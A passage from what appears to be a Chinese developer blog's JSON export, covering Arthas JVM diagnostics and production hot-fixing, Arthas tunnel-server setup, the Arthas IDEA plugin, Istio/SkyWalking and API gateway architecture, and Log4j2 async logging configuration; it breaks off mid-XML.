46 refreshed=@AtomicBoolean[true], 47 MESSAGE_SOURCE_BEAN_NAME=@String[messageSource], 48 LIFECYCLE_PROCESSOR_BEAN_NAME=@String[lifecycleProcessor], 49 APPLICATION_EVENT_MULTICASTER_BEAN_NAME=@String[applicationEventMulticaster], 50 logger=@SLF4JLocationAwareLog[org.apache.commons.logging.impl.SLF4JLocationAwareLog@71add15], 51 id=@String[application-1], 52 displayName=@String[org.springframework.boot.web.servlet.context.AnnotationConfigServletWebServerApplicationContext@58740366], 53 parent=@AnnotationConfigApplicationContext[org.springframework.context.annotation.AnnotationConfigApplicationContext@62d363ab, started on Tue Aug 03 15:13:22 CST 2021], 54 environment=@StandardServletEnvironment[StandardServletEnvironment {activeProfiles=[local, common-local, common], defaultProfiles=[default], propertySources=[MapPropertySource {name=\u0026#39;server.ports\u0026#39;}, ConfigurationPropertySourcesPropertySource {name=\u0026#39;configurationProperties\u0026#39;}, EncryptablePropertySourceWrapper {name=\u0026#39;servletConfigInitParams\u0026#39;}, EncryptablePropertySourceWrapper {name=\u0026#39;servletContextInitParams\u0026#39;}, EncryptableMapPropertySourceWrapper {name=\u0026#39;systemProperties\u0026#39;}, EncryptableSystemEnvironmentPropertySourceWrapper{name=\u0026#39;systemEnvironment\u0026#39;}, EncryptablePropertySourceWrapper {name=\u0026#39;random\u0026#39;}, EncryptableMapPropertySourceWrapper {name=\u0026#39;springCloudClientHostInfo\u0026#39;}, EncryptableMapPropertySourceWrapper {name=\u0026#39;applicationConfig: [classpath:/application-common.yml]\u0026#39;}, EncryptableMapPropertySourceWrapper {name=\u0026#39;applicationConfig: [classpath:/application-common-local.yml]\u0026#39;}, EncryptableMapPropertySourceWrapper {name=\u0026#39;applicationConfig: [classpath:/application-local.yml]\u0026#39;}, EncryptableMapPropertySourceWrapper {name=\u0026#39;applicationConfig: [classpath:/application.yml]\u0026#39;}, EncryptableMapPropertySourceWrapper {name=\u0026#39;springCloudDefaultProperties\u0026#39;}, EncryptablePropertySourceWrapper {name=\u0026#39;cachedrandom\u0026#39;}, {name=\u0026#39;Management Server\u0026#39;}]}], 55 beanFactoryPostProcessors=@ArrayList[isEmpty=false;size=5], 56 startupDate=@Long[1627974802713], 57 active=@AtomicBoolean[true], 58 closed=@AtomicBoolean[false], 59 startupShutdownMonitor=@Object[java.lang.Object@553a67da], 60 shutdownHook=@[Thread[SpringContextShutdownHook,5,main]], 61 resourcePatternResolver=@ServletContextResourcePatternResolver[org.springframework.web.context.support.ServletContextResourcePatternResolver@499ea1d], 62 lifecycleProcessor=@DefaultLifecycleProcessor[org.springframework.context.support.DefaultLifecycleProcessor@61ac01da], 63 messageSource=@DelegatingMessageSource[Empty MessageSource], 64 applicationEventMulticaster=@SimpleApplicationEventMulticaster[org.springframework.context.event.SimpleApplicationEventMulticaster@ee42df5], 65 applicationListeners=@LinkedHashSet[isEmpty=false;size=38], 66 earlyApplicationListeners=@LinkedHashSet[isEmpty=false;size=19], 67 earlyApplicationEvents=null, 68 classLoader=@AppClassLoader[jdk.internal.loader.ClassLoaders$AppClassLoader@9e89d68], 69 protocolResolvers=@LinkedHashSet[isEmpty=true;size=0], 70 resourceCaches=@ConcurrentHashMap[isEmpty=true;size=0], 71] 72Affect(row-cnt:1) cost in 4 ms. 利用 tt 命令通过 1000 这个 index 我们已经可以得到 spring context 了，得到后就可以利用 spring context 进行各种操作了。比如我们 get 一个 controller 的 bean 并执行一下方法\n1tt -i 1000 -w \u0026#39;target.getApplicationContext().getBean(\u0026#34;mealManagerController\u0026#34;).listMealByCategoryId(1379999659854008320L)\u0026#39; 查看SQL语句 watch Connection\n1watch java.sql.Connection prepareStatement \u0026#39;{params,throwExp}\u0026#39; -n 5 -x 3 watch BoundSql (mybatis)\n1watch org.apache.ibatis.mapping.BoundSql getSql \u0026#39;{params,returnObj,throwExp}\u0026#39; -n 5 -x 3 热修复三板斧（生产慎用！） 反编译输出 .java 源码 1jad --source-only com.demo.meal.pc.MealManagerController \u0026gt; /tmp/MealManagerController.java 修改代码 利用 vim 直接修改上面反编译出的文件内容\n编译 搜索到对应类的classloader\n1[arthas@38341]$ sc -d *MealManagerController |grep classLoader 2 classLoaderHash 9e89d68 mc(Memory Compiler) 命令来编译\n1 mc -c 9e89d68 /tmp/MealManagerController.java -d /tmp 热加载 重新热加载(无需重启服务), 并且非侵入, 只是临时修改\n1[arthas@38341]$ redefine /tmp/com/demo/meal/pc/MealManagerController.class 2redefine success, size: 1, classes: 3com.demo.meal.pc.MealManagerController 限制 redefine的class不能修改、添加、删除类的field和method，包括方法参数、方法名称及返回值 redefine命令和jad/watch/trace/monitor/tt等命令会冲突。执行完redefine之后，如果再执行上面提到的命令，则会把redefine的字节码重置。 远程打断点 Debug? 虽然可以，但不建议 https://github.com/alibaba/arthas/issues/222\n参考 https://www.yuque.com/arthas-idea-plugin/help/gega6l http://hengyunabc.github.io/arthas-online-hotswap/ ","date":"2021-08-03T23:30:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-08-03-arthas-gao-ji-wan-fa/cover.jpg","permalink":"/p/2021-08-03-arthas-gao-ji-wan-fa/","title":"arthas 高级玩法"},{"content":"本地配置 arthas 有多种启动方式：\njava agent 像 skywalking 一样 as.sh 利用 arthas 的 shell 启动 或者 java -jar 启动 sprintboot starter 集成到应用中启动 我们采用最方便的把 arthas 集成到 springboot-starter 的应用中启动\n加入相关依赖 1 \u0026lt;dependency\u0026gt; 2 \u0026lt;groupId\u0026gt;com.taobao.arthas\u0026lt;/groupId\u0026gt; 3 \u0026lt;artifactId\u0026gt;arthas-spring-boot-starter\u0026lt;/artifactId\u0026gt; 4 \u0026lt;version\u0026gt;3.4.8\u0026lt;/version\u0026gt; 5 \u0026lt;scope\u0026gt;runtime\u0026lt;/scope\u0026gt; 6 \u0026lt;/dependency\u0026gt; 7 8 \u0026lt;dependency\u0026gt; 9 \u0026lt;groupId\u0026gt;org.springframework.boot\u0026lt;/groupId\u0026gt; 10 \u0026lt;artifactId\u0026gt;spring-boot-starter-actuator\u0026lt;/artifactId\u0026gt; 11 \u0026lt;/dependency\u0026gt; 12 \u0026lt;dependency\u0026gt; 13 \u0026lt;groupId\u0026gt;org.springframework.boot\u0026lt;/groupId\u0026gt; 14 \u0026lt;artifactId\u0026gt;spring-boot-starter-test\u0026lt;/artifactId\u0026gt; 15 \u0026lt;scope\u0026gt;test\u0026lt;/scope\u0026gt; 16 \u0026lt;exclusions\u0026gt; 17 \u0026lt;exclusion\u0026gt; 18 \u0026lt;groupId\u0026gt;org.junit.vintage\u0026lt;/groupId\u0026gt; 19 \u0026lt;artifactId\u0026gt;junit-vintage-engine\u0026lt;/artifactId\u0026gt; 20 \u0026lt;/exclusion\u0026gt; 21 \u0026lt;/exclusions\u0026gt; 22 \u0026lt;/dependency\u0026gt; 修改 application.yml 配置文件 1# arthas tunnel server配置 2arthas: 3 agent-id: arthasDemo 4 tunnel-server: ws://47.75.156.201:7777/ws 5 6# 监控配置 7management: 8 endpoints: 9 web: 10 exposure: 11 include: \u0026#39;*\u0026#39; 12 endpoint: 13 health: 14 show-details: always 启动 本地访问 http://localhost:8080/actuator/arthas 查看 arthas 配置信息\n其他配置可以参考：https://arthas.aliyun.com/doc/arthas-properties.html\n启动项目后，然后在浏览器中输入 http://localhost:3658 地址(web console)。显示如下界面，就代表已经设置成功了。\nArthas Tunnel Server 通过 Arthas Tunnel Server/Client 来远程管理/连接多个 Agent。\n部署 Tunnel Server 下载 jar 包 https://github.com/alibaba/arthas/releases\n1## Arthas tunnel server 是一个 spring boot fat jar应用 2## 直接java -jar启动： 3java -jar arthas-tunnel-server.jar 默认情况下，arthas tunnel server 的 web 端口是 8080，arthas agent 连接的端口是 7777 也可以修改端口，比如 java-jar arthas-tunnel-server.jar --server.port=8082\n远程连接管理多个 Agent 部署起来后，agent 的配置就可以生效了，比如\n1arthas: 2# telnetPort: -1 3# httpPort: -1 4 tunnel-server: ws://127.0.0.1:7777/ws 5 app-name: arthasDemo 此时打开 Tunnel Server http://127.0.0.1:8082/ 是空白的\n需要 AgentId, 可以通过 http://127.0.0.1:8082/apps.html 打开连接上的应用，再点击应用名称便可以看到\n点击按钮，或输入 AgentId 便可连接上指定的 agent 了\n参考： https://arthas.aliyun.com/ ","date":"2021-08-03T05:47:40Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-08-03-pei-zhi-arthas-shi-xian-yuan-cheng-xian-shang-debug/cover.jpg","permalink":"/p/2021-08-03-pei-zhi-arthas-shi-xian-yuan-cheng-xian-shang-debug/","title":"配置 arthas 实现远程线上 debug"},{"content":"背景 “\nArthas 官方的工具还不够足够的简单，需要记住一些命令，特别是一些扩展性特别强的高级语法，比如 ognl 获取 spring context 为所欲为，watch、trace 不够简单，需要构造一些命令工具的信息，因此只需要一个能够简单处理字符串信息的插件即可使用。当在处理线上问题的时候需要最快速、最便捷的命令，因此插件还是有存在的意义和价值的。\n”\narthas idea plugin 更简单的使用 arthas 的 IDEA 插件,方便的构建各种 arthas 命令,复制到剪切板 然后到服务器上启动 arthas 执行命令\n插件安装 可以直接去 idea 插件仓库下载安装 https://plugins.jetbrains.com/plugin/13581-arthas-idea/\n操作说明 将光标放置在具体的类、字段、方法上面 右键选择需要执行的命令，部分会有窗口弹出、根据界面操作获取命令；部分直接获取命令复制到了剪切板 ，自己启动 arthas 后粘贴命令即可执行。\n具体命令 由于手拼 arthas 的命令很长，很麻烦，所以插件作用的一方面就是帮我们生成这些命令，直接在 arthas 执行就好了。\n以下命令都是借助 arthas idea 插件直接生成的，不用自己拼\n1 查看具体类中方法的入参、出参、异常\n比如 要查看以下方法的执行情况：\n1watch com.demo.meal.pc.MealManagerController listMealCategoryByOptions \u0026#39;{params,returnObj,throwExp}\u0026#39; -n 5 -x 3 也可根据条件表达式来观察，比如\n1## 判断当第一个请求参数为 1 的时候 2watch com.demo.meal.pc.MealManagerController listMealCategoryByOptions \u0026#39;{params,returnObj,throwExp}\u0026#39; \u0026#34;params[0]==1\u0026#34; -n 5 -x 3 2 trace 跟踪请求链路\n1trace com.demo.meal.pc.MealManagerController listMealCategoryByOptions -n 5 --skipJDKMethod false 3 查看调用栈\n1stack com.demo.meal.pc.MealManagerController listMealCategoryByOptions -n 5 4 监控方法执行情况\n1monitor com.demo.meal.pc.MealManagerController listMealCategoryByOptions -n 10 --cycle 10 5 反编译源码并显示行号\n1jad --source-only com.demo.meal.pc.MealManagerController listCategoryTrainByOptions 6 查看 JVM 已加载的类信息\n1sc -d com.demo.meal.pc.MealManagerController 7 查看已加载类的方法信息\n1sm -d com.demo.meal.pc.MealManagerController listCategoryTrainByOptions 8 动态修改日志级别\n先看一下当前日志信息\n通过命令修改：\n1logger --name ROOT --level debug 9 dump 已加载类的 bytecode（.class文件) 到特定目录\n1dump com.demo.meal.pc.MealManagerController -d /Users/hh/logs/arthas/dump 10 生成火焰图\n什么是火焰图？怎么看懂？参考：https://www.ruanyifeng.com/blog/2017/09/flame-graph.html\n“\ny 轴表示调用栈，每一层都是一个函数。调用栈越深，火焰就越高，顶部就是正在执行的函数，下方都是它的父函数。x 轴表示抽样数，如果一个函数在 x 轴占据的宽度越宽，就表示它被抽到的次数多，即执行的时间长。注意，x 轴不代表时间，而是所有的调用栈合并后，按字母顺序排列的。火焰图就是看顶层的哪个函数占据的宽度最大。只要有\u0026quot;平顶\u0026quot;（plateaus），就表示该函数可能存在性能问题。颜色没有特殊含义，因为火焰图表示的是 CPU 的繁忙程度，所以一般选择暖色调。\n”\n1## 采集 alloc 火焰图 30秒后自动结束 2profiler start --event alloc --interval 10000000 --threads --format svg -duration 30 --threads 3## 采集 CPU 火焰图 30秒后自动结束 4profiler start --event cpu --interval 10000000 --threads --format svg -duration 30 --threads 参考 https://www.yuque.com/arthas-idea-plugin/help/pe6i45 https://www.yuque.com/arthas-idea-plugin/help https://www.ruanyifeng.com/blog/2017/09/flame-graph.html ","date":"2021-08-03T05:47:40Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-08-03-arthas-idea-cha-jian-de-ji-ben-wan-fa-chang-yong/cover.jpg","permalink":"/p/2021-08-03-arthas-idea-cha-jian-de-ji-ben-wan-fa-chang-yong/","title":"arthas idea 插件的基本玩法（常用）"},{"content":"\n分享一个宝贵的经验 我们想利用 skywalking 收集 istio 的 envoy 日志，进而利用 skywalking 查看 istio 的 trace、log等。\n但这里面有个坑，就是 istio 和 skywalking 的版本问题。我们 istio 使用的是1.3版本，skywalking 8.3 。\n经过华为和 skywalking 核心开发者的确认，版本对应关系如下：\nistio 1.3 不支持生产 skywalking 使用 istio 1.7以上 skywalking 链路拓扑可以商用 istio 1.8 skywalking 日志商用 istio 1.11 trace 商用 所以结论是得升级 istio，然后再去集成 skywalking。\n后续随着 istio 的升级将继续结合 skywalking 进行操作，并输出具有更多细节的文章。\n关注公众号 获取更多精彩内容\n","date":"2021-06-25T11:37:02Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-06-25-xue-lei-jing-yan-shi-yong-skywalking-he-envoy-fang-wen-ri-zh/cover.jpg","permalink":"/p/2021-06-25-xue-lei-jing-yan-shi-yong-skywalking-he-envoy-fang-wen-ri-zh/","title":"血泪经验：使用SkyWalking 和 Envoy 访问日志服务对 istio 进行观察（一）"},{"content":"上了 istio 的贼船之 API Gateway 现状 下图是我们系统的架构现状，大致介绍一下：\n基础设施在华为云上 基本上是基于 istio on k8s 架构。 istio 版本为 1.3，所以组件较多（galley、pilot、citadel、telemetry\u0026hellip;\u0026hellip;） 微服务后端用 spring boot 单体，前端有 nodejs、vue等 应用的链路监控主要基于 skywalking, istio 的通讯层面利用 kiali可视化调用链 其他比较传统 历史架构\n主要介绍下作为服务通讯基础设施的 istio 在这里的作用\n服务间通讯，依赖 envoy sidecar 注册中心，依赖 istio 控制面 服务治理（熔断、超时、重试）这部分还没有完完全全切干净，还有些 spring boot 应用依赖 hystrix，后面会全部改成利用 istio。 流量管理（ingress gateway、egress gateway、负载均衡） 测试（错误注入） 通过将传统微服务架构的这些控制面功能解耦到 istio,可以让微服务应用本身专注于业务开发，是一个比较简的单体 springboot 应用。再结合 k8s 的高扩展性，研发整体的迭代速度和运维效率还是比较高的，缺点是无论是 k8s 还是 istio ，学习成本偏高，需要团队至少 2 人具有专业知识，对于招聘成本、系统升级都有风险。\n上了贼船 坦白讲，如果系统最初的设计是我来做，是不会用如此“激进”的方案的，会转而用 spring cloud 为基础的架构，当然，k8s 是非常可能会使用的。但可惜我是中间接手，也想过换架构，但迫于公司业务和迭代的压力，再加上人手有限，再换架构的风险会非常高，所以既然上了 istio 的贼船，就只能走下去了，等什么时候时机成熟再并行其他架构，或切换回合适的架构。这里我要强调的是，做架构选择或者选型不是为了技术而技术，一定是要非常适合当时公司的发展现状、业务场景、团队能力、招聘成本等等，综合多种条件而得出的结论。 巧合的是 istio 的 logo 也是一个帆船的样子，果真是上了贼船 API Gateway 终于说到本文的重点 API Gateway 了，对于这个话题，之前写过一篇文章，读者可以先脱离现在的架构从功能层面来了解下 API Gateway。\n[![Image](https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-06-21-shang-le-istio-de-zei-chuan-zhi-api-gateway/003-65589640.png)API 网关选型及包含 BFF 的架构设计](http://mp.weixin.qq.com/s?__biz=MzI3Njk5ODg4OQ==\u0026amp;mid=2247484717\u0026amp;idx=1\u0026amp;sn=8162d7957b29504162490780e8d3763d\u0026amp;chksm=eb6dbaabdc1a33bd14c244069e44e3b84dfea8bae546c09facfa42bb5dbf90c1c70421efa6dc\u0026amp;scene=21#wechat_redirect) 回到我们现在的架构，你会发现，虽然我们有前置的 openResty,但应用层这边并没有一个担当 API Gateway 角色的服务。而无论是 openResty 或者是 nginx 对于云原生 API Gateway 的需求是不能完全满足的。\n当然了解 istio 的读者可能会问：\nistio ingress gateway 不也具有网关的功能吗 ？ 为什么没有用 nginx ingress controller ？ 首先，我承认基于 k8s ingress 实现的各种 ingress controller 功能越来越完善，如果我们没有用 istio 可能会采用这种方案，但我们使用了，那么再结合 k8s ingress 就会有如如何为服务网格选择入口网关[1]中说的如下问题：\nK8s Ingress 是独立在 Istio 体系之外的，需要单独采用 Ingress rule 进行配置，导致系统入口和内部存在两套互相独立的路由规则配置，运维和管理较为复杂。 K8s Ingress rule 的功能较弱，不能在入口处实现和网格内部类似的路由规则，也不具备网格 sidecar 的其它能力，导致难以从整体上为应用系统实现灰度发布、分布式跟踪等服务管控功能。 其次，没错 istio ingress gateway 除了基础的通讯功能之外，还有一些其他的应用层功能。但我们综合来比较下 k8s ingress、istio ingress gateway 和我们理想中的 API Gateway，就会发现它还不够完善,主要是对于 API 管理的这部分功能欠缺。\n未来 前文已经对各种 API Gateway的实现方案进行了讨论，结论是在目前难以找到一个同时具备API Gateway和Isito Ingress能力的网关。那么再回顾一下我们的需求：\n我们使用 istio 我们需要 API Gateway 所以，经过思考，我们未来的方案设计如下图：\n仍然利用 istio ingress gateway作为入口 将 istio ingress gateway接到 LB 将API Gateway纳入到istio cluster管理的范畴当中，即拥有sidecar proxy，可被istio控制面控制。API Gateway的选型很有可能使用云原生应用网关，如 API SIX 应用层微服务不会利用如 spring cloud gateway 编码一个服务网关 总结：使用API Gateway和Sidecar Proxy一起为服务网格提供外部流量入口。\n还有没有问题？ 有的，根据 Service Mesh 和 API Gateway关系深度探讨[2]上述方案的优势在于API Gateway和Sidecar独立部署，职责明确，架构清晰。但是，和Service Mesh使用sidecar被质疑多一跳会造成性能开销影响效率一样，API Gateway使用Sidecar也被同样的质疑：多了一跳……\n对了多了这一跳，从整个架构每一段的网络耗时及其作用来看，这一跳多出的时间，几乎可以忽略不计。\n性能如何？ 作为 sidecar 的 envoy的性能应该是毋庸置疑了。至于istio ingress gateway虽然官方给出的数据也不错，但还是要在实践中观察。而作为 Cloud Native API Gateway 比如 API SIX 我对它有足够的信心，至少在我司现阶段业务体量以及未来百倍增长规模下都不会担心性能问题。\n参考资料 [1]\n如何为服务网格选择入口网关？: https://zhaohuabing.com/post/2019-03-29-how-to-choose-ingress-for-service-mesh/#k8s-ingress\n[2]\nService Mesh和API Gateway关系深度探讨: https://www.servicemesher.com/blog/service-mesh-and-api-gateway/\n","date":"2021-06-21T05:02:18Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-06-21-shang-le-istio-de-zei-chuan-zhi-api-gateway/cover.jpg","permalink":"/p/2021-06-21-shang-le-istio-de-zei-chuan-zhi-api-gateway/","title":"上了 istio 的贼船之 API Gateway"},{"content":"为什么使用 Log4J2? “\nApache Log4j 2 is an upgrade to Log4j that provides significant improvements over its predecessor, Log4j 1.x, and provides many of the improvements available in Logback while fixing some inherent problems in Logback’s architecture.\n”\nApache Log4j 2是 Log4j 的升级版，对 Log4j 1.x 进行了重大改进，并提供了 Logback 中可用的许多改进，同时解决了 Logback 体系结构中的一些固有问题。\n原因 重新配置时，Log4j 1.x 和 Logback 都将丢失事件。Log4j 2不会。在 Logback 中，Appender 中的异常对应用程序永远是不可见的。在Log4j 2中，可以将 Appender 配置为允许异常渗透到应用程序中。\nLog4j 2 包含基于 LMAX Disruptor 库的下一代异步记录器。在多线程方案中，与 Log4j 1.x 和 Logback 相比，异步 Logger 的吞吐量高10倍，延迟降低了几个数量级。\n对于独立应用程序来说，Log4j2 没有垃圾，而在稳定状态日志记录期间，web 应用程序的垃圾较少。这样可以减少垃圾收集器上的压力，并可以提供更好的响应时间性能。\nLog4j 2使用了一个插件系统，通过添加新的 Appenders、Filters、Layouts、Lookups 和 Pattern Converters，扩展框架非常容易，而不需要对 Log4j 进行任何更改。\n由于插件系统配置更简单。配置中的条目不需要指定类名\n支持自定义日志级别。自定义日志级别可以在代码或配置中定义。\n支持 lambda 表达式。运行在 Java 8 上的客户端代码只有在启用了请求的日志级别时，才可以使用 lambda表达式惰性地构造日志消息。不需要显式的级别检查，从而使代码更清晰。\n支持消息对象。消息支持通过日志系统传递有趣和复杂的构造，并能有效地进行操作。用户可以自由地创建自己的消息类型，并编写自定义 Layouts、Filters 和 Lookups 来操作它们。\nLog4j 1.x 支持 Appender 上的过滤器。Logback 添加了 TurboFilter，以允许在 Logger 处理事件之前对其进行过滤。Log4j 2支持过滤器，这些过滤器可以配置为在由记录器处理或在附加器上处理事件之前，由Logger 处理事件。\n许多 Logback appender 不接受 layout，只以固定格式发送数据。大多数 Log4j2 Appender 接受 layout，允许以所需的任何格式传输数据。\nLog4j 1.x 和 Logback 中的 layout 返回一个字符串。这导致了在Logback 编码器中讨论的问题。Log4j 2采用了一种更简单的方法，即 Layouts 总是返回一个字节数组。这样做的好处是，这意味着它们实际上可以用于任何 Appender，而不仅仅是写入 OutputStream 的 Appender。\nSyslog Appender 支持 TCP 和 UDP，也支持 BSD Syslog 和 RFC 5424 格式\nLog4j 2 利用 Java 5 并发支持，并以最低级别执行锁定。Log4j 1.x 已知死锁问题。其中许多已在 Logback 中修复，但许多 Logback 类仍需要较高级别的同步。\n它是一个Apache Software Foundation 项目，遵循所有 ASF 项目使用的社区和支持模型。如果您想贡献或获得提交更改的权利，请按照贡献中列出的路径进行操作。\n详细解释 针对上面原因中的第2点 更多信息可以查看官网：https://logging.apache.org/log4j/2.x/performance.html\nLog4j 2 的异步 Logger 使用 无锁数据结构，而 Logback，Log4j 1.2 和 Log4j 2 的异步附加器使用 ArrayBlockingQueue。对于阻塞队列，多线程应用程序在尝试使日志事件入队时通常会遇到锁争用。\n异步日志记录-峰值吞吐量比较\n针对上面原因中的第7点 如果没有启用相应的日志级别，则可以避免对日志消息的计算，这可能会对使用日志记录的应用程序带来潜在的性能改进。\n1logger.trace(\u0026#34;Number is {}\u0026#34;, getRandomNumber()); 上面这行日志代码中，我们调用了 getRandomNumber() 方法来替代日志参数，而不管是什么日志级别 getRandomNumber() 方法都会执行，比如日志级别是DEBUG，日志虽然不会被记录，但getRandomNumber() 方法会被执行。换句话说，这个方法的执行可能是不必要的。\n在添加对 lambda 表达式的支持之前，我们可以通过在执行 log 语句之前显式地检查日志级别来避免构造没有记录日志的消息:\n1if (logger.isTraceEnabled()) { 2 logger.trace(\u0026#34;Number is {}\u0026#34;, getRandomNumer()); 3} 通过使用lambda表达式，我们可以进一步简化上面的代码:\n1logger.trace(\u0026#34;Number is {}\u0026#34;, () -\u0026gt; getRandomNumber()); 只有当相应的日志级别被启用时，才会计算lambda表达式。这被称为惰性日志记录。\n我们也可以在日志消息中使用多个 lambda 表达式:\n1logger.trace(\u0026#34;Name is {} and age is {}\u0026#34;, () -\u0026gt; getName(), () -\u0026gt; getRandomNumber()); 如果使用了lombok 可以用 @Log4j2 注解，相当于\n1 private static final org.apache.logging.log4j.Logger log = org.apache.logging.log4j.LogManager.getLogger(LogExample.class); 但是，如果你遵循阿里巴巴的编程规约就只能呵呵了，还是要用 @Slf4j 这个注解。因为要统一使用 SLF4J 这个门面\nimage.png\n同步还是异步？ Log4j 2 中记录日志的方式有同步日志和异步日志两种方式。\n所谓同步日志，即当输出日志时，必须等待日志输出语句执行完毕后，才能执行后面的业务逻辑语句。比如下面这个配置：\n1\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; 2\u0026lt;Configuration\u0026gt; 3 4 \u0026lt;Properties\u0026gt; 5 \u0026lt;!-- 日志输出级别 --\u0026gt; 6 \u0026lt;Property name=\u0026#34;LOG_INFO_LEVEL\u0026#34; value=\u0026#34;info\u0026#34;/\u0026gt; 7 \u0026lt;!-- error级别日志 --\u0026gt; 8 \u0026lt;Property name=\u0026#34;LOG_ERROR_LEVEL\u0026#34; value=\u0026#34;error\u0026#34;/\u0026gt; 9 \u0026lt;!-- 在当前目录下创建名为log目录做日志存放的目录 --\u0026gt; 10 \u0026lt;Property name=\u0026#34;LOG_HOME\u0026#34; value=\u0026#34;./log\u0026#34;/\u0026gt; 11 \u0026lt;!-- 档案日志存放目录 --\u0026gt; 12 \u0026lt;Property name=\u0026#34;LOG_ARCHIVE\u0026#34; value=\u0026#34;./log/archive\u0026#34;/\u0026gt; 13 \u0026lt;!-- 模块名称， 影响日志配置名，日志文件名，根据自己项目进行配置 --\u0026gt; 14 \u0026lt;Property name=\u0026#34;LOG_MODULE_NAME\u0026#34; value=\u0026#34;spring-boot\u0026#34;/\u0026gt; 15 \u0026lt;!-- 日志文件大小，超过这个大小将被压缩 --\u0026gt; 16 \u0026lt;Property name=\u0026#34;LOG_MAX_SIZE\u0026#34; value=\u0026#34;100 MB\u0026#34;/\u0026gt; 17 \u0026lt;!-- 保留多少天以内的日志 --\u0026gt; 18 \u0026lt;Property name=\u0026#34;LOG_DAYS\u0026#34; value=\u0026#34;15\u0026#34;/\u0026gt; 19 \u0026lt;!--输出日志的格式：%d表示日期，%thread表示线程名，%-5level：级别从左显示5个字符宽度， %msg：日志消息，%n是换行符 --\u0026gt; 20 \u0026lt;Property name=\u0026#34;LOG_PATTERN\u0026#34; value=\u0026#34;%d [%t] %-5level %logger{0} - %msg%n\u0026#34;/\u0026gt; 21 \u0026lt;!--interval属性用来指定多久滚动一次--\u0026gt; 22 \u0026lt;Property name=\u0026#34;TIME_BASED_INTERVAL\u0026#34; value=\u0026#34;1\u0026#34;/\u0026gt; 23 \u0026lt;/Properties\u0026gt; 24 25 \u0026lt;Appenders\u0026gt; 26 \u0026lt;!-- 控制台输出 --\u0026gt; 27 \u0026lt;Console name=\u0026#34;STDOUT\u0026#34; target=\u0026#34;SYSTEM_OUT\u0026#34;\u0026gt; 28 \u0026lt;!--输出日志的格式--\u0026gt; 29 \u0026lt;PatternLayout pattern=\u0026#34;${LOG_PATTERN}\u0026#34;/\u0026gt; 30 \u0026lt;!--控制台只输出level及其以上级别的信息（onMatch），其他的直接拒绝（onMismatch）--\u0026gt; 31 \u0026lt;ThresholdFilter level=\u0026#34;${LOG_INFO_LEVEL}\u0026#34; onMatch=\u0026#34;ACCEPT\u0026#34; onMismatch=\u0026#34;DENY\u0026#34;/\u0026gt; 32 \u0026lt;/Console\u0026gt; 33 34 \u0026lt;!-- 这个会打印出所有的info级别以上，error级别以下的日志，每次大小超过size或者满足TimeBasedTriggeringPolicy，则日志会自动存入按年月日建立的文件夹下面并进行压缩，作为存档--\u0026gt; 35 \u0026lt;RollingRandomAccessFile name=\u0026#34;RollingRandomAccessFileInfo\u0026#34; 36 fileName=\u0026#34;${LOG_HOME}/${LOG_MODULE_NAME}-infoLog.log\u0026#34; 37 filePattern=\u0026#34;${LOG_ARCHIVE}/${LOG_MODULE_NAME}-infoLog-%d{yyyy-MM-dd}-%i.log.gz\u0026#34;\u0026gt; 38 \u0026lt;Filters\u0026gt; 39 \u0026lt;!--如果是error级别拒绝，设置 onMismatch=\u0026#34;NEUTRAL\u0026#34; 可以让日志经过后续的过滤器--\u0026gt; 40 \u0026lt;ThresholdFilter level=\u0026#34;${LOG_ERROR_LEVEL}\u0026#34; onMatch=\u0026#34;DENY\u0026#34; onMismatch=\u0026#34;NEUTRAL\u0026#34;/\u0026gt; 41 \u0026lt;!--如果是info\\warn输出--\u0026gt; 42 \u0026lt;ThresholdFilter level=\u0026#34;${LOG_INFO_LEVEL}\u0026#34; onMatch=\u0026#34;ACCEPT\u0026#34; onMismatch=\u0026#34;DENY\u0026#34;/\u0026gt; 43 \u0026lt;/Filters\u0026gt; 44 \u0026lt;PatternLayout pattern=\u0026#34;${LOG_PATTERN}\u0026#34;/\u0026gt; 45 \u0026lt;Policies\u0026gt; 46 \u0026lt;!--interval属性用来指定多久滚动一次，根据当前filePattern设置是1天滚动一次--\u0026gt; 47 \u0026lt;TimeBasedTriggeringPolicy interval=\u0026#34;${TIME_BASED_INTERVAL}\u0026#34;/\u0026gt; 48 \u0026lt;SizeBasedTriggeringPolicy size=\u0026#34;${LOG_MAX_SIZE}\u0026#34;/\u0026gt; 49 \u0026lt;/Policies\u0026gt; 50 \u0026lt;!-- DefaultRolloverStrategy属性如不设置，则默认同一文件夹下最多保存7个文件--\u0026gt; 51 \u0026lt;DefaultRolloverStrategy max=\u0026#34;${LOG_DAYS}\u0026#34;/\u0026gt; 52 \u0026lt;/RollingRandomAccessFile\u0026gt; 53 54 \u0026lt;!--只记录error级别以上的日志，与info级别的日志分不同的文件保存--\u0026gt; 55 \u0026lt;RollingRandomAccessFile name=\u0026#34;RollingRandomAccessFileError\u0026#34; 56 fileName=\u0026#34;${LOG_HOME}/${LOG_MODULE_NAME}-errorLog.log\u0026#34; 57 filePattern=\u0026#34;${LOG_ARCHIVE}/${LOG_MODULE_NAME}-errorLog-%d{yyyy-MM-dd}-%i.log.gz\u0026#34;\u0026gt; 58 \u0026lt;Filters\u0026gt; 59 \u0026lt;ThresholdFilter level=\u0026#34;${LOG_ERROR_LEVEL}\u0026#34; onMatch=\u0026#34;ACCEPT\u0026#34; onMismatch=\u0026#34;DENY\u0026#34;/\u0026gt; 60 \u0026lt;/Filters\u0026gt; 61 \u0026lt;PatternLayout pattern=\u0026#34;${LOG_PATTERN}\u0026#34;/\u0026gt; 62 \u0026lt;Policies\u0026gt; 63 \u0026lt;TimeBasedTriggeringPolicy interval=\u0026#34;${TIME_BASED_INTERVAL}\u0026#34;/\u0026gt; 64 \u0026lt;SizeBasedTriggeringPolicy size=\u0026#34;${LOG_MAX_SIZE}\u0026#34;/\u0026gt; 65 \u0026lt;/Policies\u0026gt; 66 \u0026lt;DefaultRolloverStrategy max=\u0026#34;${LOG_DAYS}\u0026#34;/\u0026gt; 67 \u0026lt;/RollingRandomAccessFile\u0026gt; 68 69 \u0026lt;/Appenders\u0026gt; 70 71 \u0026lt;Loggers\u0026gt; 72 